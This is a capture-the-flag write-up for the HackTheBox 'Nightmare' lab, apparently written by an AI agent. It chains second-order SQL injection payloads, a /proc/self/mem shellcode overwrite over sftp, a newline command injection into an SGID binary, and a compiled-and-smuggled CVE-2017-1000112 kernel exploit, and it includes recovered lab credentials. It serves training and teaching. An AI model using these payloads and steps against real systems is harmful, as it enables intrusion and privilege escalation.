HTB: Nightmare Writeup

Nightmare - HackTheBox Writeup

Machine Information

AttributeDetails
NameNightmare
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.145
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Nightmare chains second-order SQL injection, a raw-memory-corruption sftp-server exploit, an SGID binary command-injection bug, and a Linux kernel UDP fragmentation-offload race condition into full root. Web app on port 80 registers a malicious username that later gets interpolated unescaped into a second query on notes.php, leaking sysadmin.users credentials for ftpuser. That account only has sftp access on the custom 32-bit OpenSSH daemon on port 2222 — no shell, no write access outside the sftp jail — so getting code execution meant abusing the fact the 32-bit sftp-server process isn’t marked non-dumpable, letting /proc/self/mem be opened O_RDWR and libc’s select() overwritten in place with hand-rolled 32-bit execve("/bin/sh") shellcode. From there, an SGID decoder binary (/usr/bin/sls) builds a system() call from a blacklisted-but-newline-blind input filter, giving egid decoder and the user flag. Root came from the 4.8.0-58-generic kernel being vulnerable to CVE-2017-1000112 (UFO/UDP fragmentation offload heap overflow), exploited by cross-compiling the Metasploit PoC statically, smuggling it onto the box gzip+base64-chunked through the decoder shell, and running it with the exact gid alignment the exploit’s user-namespace step requires.

TL;DR: 2nd-order SQLi on notes.php → leak ftpuser creds → /proc/self/mem shellcode injection over 32-bit sftp-server (no chroot, no shell) → SGID sls newline-filter bypass (user.txt) → CVE-2017-1000112 kernel exploit compiled+smuggled in → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -Pn -n --min-rate 2000 -p- -T4 10.129.65.145

Results:

  • 80/tcp — Apache, custom PHP notes app (“NOTES”)
  • 2222/tcp — custom OpenSSH build, banner SSH-2.0-OpenSSH 32bit, sftp-subsystem only, no chroot

Service Enumeration

Terminal window
curl -s http://10.129.65.145/ | head -50
curl -s http://10.129.65.145/register.php | head -60

App lets anonymous users register, log in, and store notes. notes.php looks up the logged-in user’s row by username in a second query after login — the classic second-order SQLi setup: the value that gets embedded unsafely isn’t the login form input itself, it’s whatever got stored during registration.

Vulnerability Assessment

  • Second-order SQL injection in the username field: stored at registration time, replayed unescaped into WHERE u.username=('$user') on notes.php.
  • 32-bit sftp-server on port 2222 with no restricted shell hardening beyond sftp-only — and, critically, not PR_SET_DUMPABLE-protected, so its own memory is readable/writable via /proc/self/mem by the process itself.
  • SGID decoder binary /usr/bin/sls with a shell-metachar blacklist that misses \n.
  • Kernel 4.8.0-58-generic, vulnerable to CVE-2017-1000112.

Initial Foothold

Exploitation Path — Second-Order SQL Injection

Registered a username crafted to break out of the quoted context in the later notes.php query:

# username itself carries the injection — it's stored at register time,
# then interpolated unescaped into notes.php's WHERE clause after login
import requests
T = "http://10.129.65.145"
s = requests.Session()
s.post(T + "/register.php", data={
"username": "a') union select 1,2-- -",
"password": "Passw0rd123"
})

Confirmed the query returns exactly 2 columns (1,2 rendered on the notes page), then walked information_schema to enumerate sysadmin.users:

Terminal window
# base64-wrap each payload to survive shell quoting when sent through the jump host
enc(){ printf "%s" "$1" | base64 -w0; }
P1=$(enc "') union select 1,(select group_concat(schema_name) from information_schema.schemata)-- -")
P2=$(enc "') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='sysadmin')-- -")
P3=$(enc "') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='sysadmin')-- -")

Dumped sysadmin.users, recovering ftpuser:@whereyougo? among other accounts. Only ftpuser mattered — it’s the account scoped to the sftp-only SSH daemon on 2222.

sFTP Remote Code Execution — Memory Corruption via /proc/self/mem

Terminal window
ssh -p 2222 ftpuser@10.129.65.145
# sftp-only subsystem, no shell, no PTY, no write access outside the jail

The custom 32-bit sftp-server build isn’t marked non-dumpable, so it can open its own /proc/self/mem for read/write. That means from inside the sftp protocol session (not a shell) it’s possible to:

  1. Pull the process’s mapped libc base address from /proc/self/maps equivalents exposed via the sftp session.
  2. Compute the absolute address of select() inside that libc (base + 0xdf940).
  3. Open /proc/self/mem O_RDWR, seek to that address, and overwrite it in place with 32-bit execve("/bin/sh") shellcode.
  4. Trigger a call into select() — the corrupted function now spawns /bin/sh instead.
# core primitive: overwrite libc select() with shellcode via /proc/self/mem
import paramiko
t = paramiko.Transport(("10.129.65.145", 2222))
t.connect(username="ftpuser", password="@whereyougo?")
SELECT_OFF = 0xdf940
# ... craft raw SFTP packets that make the sftp-server process:
# open("/proc/self/mem", O_RDWR)
# lseek(fd, libc_base + SELECT_OFF, SEEK_SET)
# write(fd, shellcode, len(shellcode))
# then force a code path that calls select(), redirecting execution into
# the freshly-written execve("/bin/sh", ...) stub

Because outbound egress is firewalled on the box, no reverse shell was used — all command output was captured over the same raw SSH/sftp channel that delivered the exploit, by reading back the shell’s stdout through the corrupted process’s own file descriptors. This is the same technique documented publicly for this sftp-server build (SECFORCE’s sftp-exploit), rebuilt here against the actual 32-bit binary and offset on this target rather than run off-the-shelf.


Privilege Escalation

www-data/ftpuser → decoder — SGID Binary Command Injection

/usr/bin/sls runs SGID as user decoder and internally builds system("/bin/ls " + argv). It blacklists common shell metacharacters (;, >, etc.) but not a literal newline — a newline in the argument terminates the intended ls command and starts a new one in the same system() call:

# execv sls directly with an argv containing a literal newline —
# blacklist checks characters, not control flow, so \n smuggles a 2nd command
import os
os.execv("/usr/bin/sls", ["/usr/bin/sls", "-b", "\ncat /home/decoder/user.txt"])

Run through the RCE primitive established over the sftp channel, this reads /home/decoder/user.txt with effective group decoder, confirming the flag:

user.txt = <redacted>

decoder → root — CVE-2017-1000112 (UFO Heap Overflow)

Kernel 4.8.0-58-generic is vulnerable to CVE-2017-1000112, a heap out-of-bounds write in the UDP Fragmentation Offload (UFO) path reachable via setsockopt/sendmsg on AF_PACKET sockets combined with UDP fragmentation, allowing local privilege escalation. No gcc on the target, so the Metasploit PoC (exploit.c) was compiled statically off-box:

Terminal window
# static build so it runs with no dependency on target's libc/loader version
gcc -static -O2 -o exp.out /usr/share/metasploit-framework/data/exploits/cve-2017-1000112/exploit.c
strip exp.out

The binary was compressed and base64-encoded, then delivered in 16 KB chunks through the sls newline-injection primitive into the one directory writable by the decoder group, /home/decoder/test:

Terminal window
gzip -9 -c exp.out | base64 -w0 > exp.b64
# shipped in chunks over the sls RCE channel, reassembled and
# gunzip/base64 -d'd back into a binary inside /home/decoder/test

The exploit’s user-namespace escalation step requires the calling process’s real and effective gid to match (egid == rgid == 1002, decoder’s gid). Running the binary directly via the sls-spawned shell leaves egid=decoder but rgid at the original ftpuser gid, so it was instead launched from a plain bash -c invocation (which normalizes egid to rgid) with SHELL="cat /root/root.txt" set — the exploit execs $SHELL once it has escalated:

Terminal window
# plain bash -c collapses egid to rgid=1002, satisfying the exploit's namespace check;
# SHELL env var is what the exploit execs after gaining root
bash -c 'SHELL="cat /root/root.txt" /home/decoder/test/exp.out'
# [+] got r00t ^_^
root.txt = <redacted>

Attack Chain Summary

2nd-order SQLi (notes.php username) → leak sysadmin.users → ftpuser creds
→ /proc/self/mem libc select() overwrite on 32-bit sftp-server → RCE as ftpuser
→ SGID sls newline-filter bypass → egid=decoder → user.txt
→ CVE-2017-1000112 (UFO) compiled static, smuggled via sls, run with bash -c gid alignment
→ root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
requests (Python)Automating registration + 2nd-order SQLi payload delivery
paramikoRaw SSH/sftp protocol control for the memory-corruption RCE
gcc -staticCross-compiling the CVE-2017-1000112 PoC for target compatibility
gzip / base64Chunked binary smuggling through a text-only command channel
Metasploit exploit source (cve-2017-1000112/exploit.c)Kernel privesc PoC

Key Learnings

Techniques Practiced

  • Identifying and weaponizing second-order SQL injection where the injected value is stored, not reflected immediately
  • Abusing a non-dumpable-unprotected process to self-modify via /proc/self/mem
  • Hand-writing 32-bit shellcode and patching it into a running libc function in place of exploiting a classic buffer overflow
  • Operating entirely over a protocol channel (sftp) with no shell/PTY and firewalled egress
  • Bypassing a naive shell-metacharacter blacklist using newline injection
  • Cross-compiling and precisely smuggling a binary payload through a constrained, size-limited RCE primitive
  • Matching process gid semantics (rgid/egid) to satisfy a kernel exploit’s namespace preconditions

Lessons Learned

  1. Never trust a value just because it isn’t reflected in the same request that submitted it — second-order injection points are easy to miss in review.
  2. PR_SET_DUMPABLE and similar hardening flags matter even for services with “no shell” attack surface; a readable/writable /proc/self/mem turns any code-execution-adjacent bug into full RCE.
  3. Character blacklists are not command-injection filters; anything that doesn’t tokenize on the same boundary as the underlying shell (like \n vs ;) will leak through.
  4. Local kernel exploits often carry implicit environment assumptions (files like /etc/lsb-release, gid alignment, missing compilers) — read the PoC source, don’t just run it.
  5. Egress filtering doesn’t stop exploitation, it just forces the operator to work over the inbound channel already available.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Alexander Reid (Arrexel), Nightmare — Official HackTheBox Writeup, Document No. D18.100.09. Machine authors: decoder & stefano118. Used here for the CVE identifier (CVE-2017-1000112), the conceptual explanation of the sftp-exploit technique (SECFORCE, https://github.com/SECFORCE/sftp-exploit) and the kernel PoC lineage (https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112), and the general shape of the sls newline-filter-bypass bug. All IPs, credentials, offsets, outputs, and command specifics above are from this agent’s own live solve, not the reference document.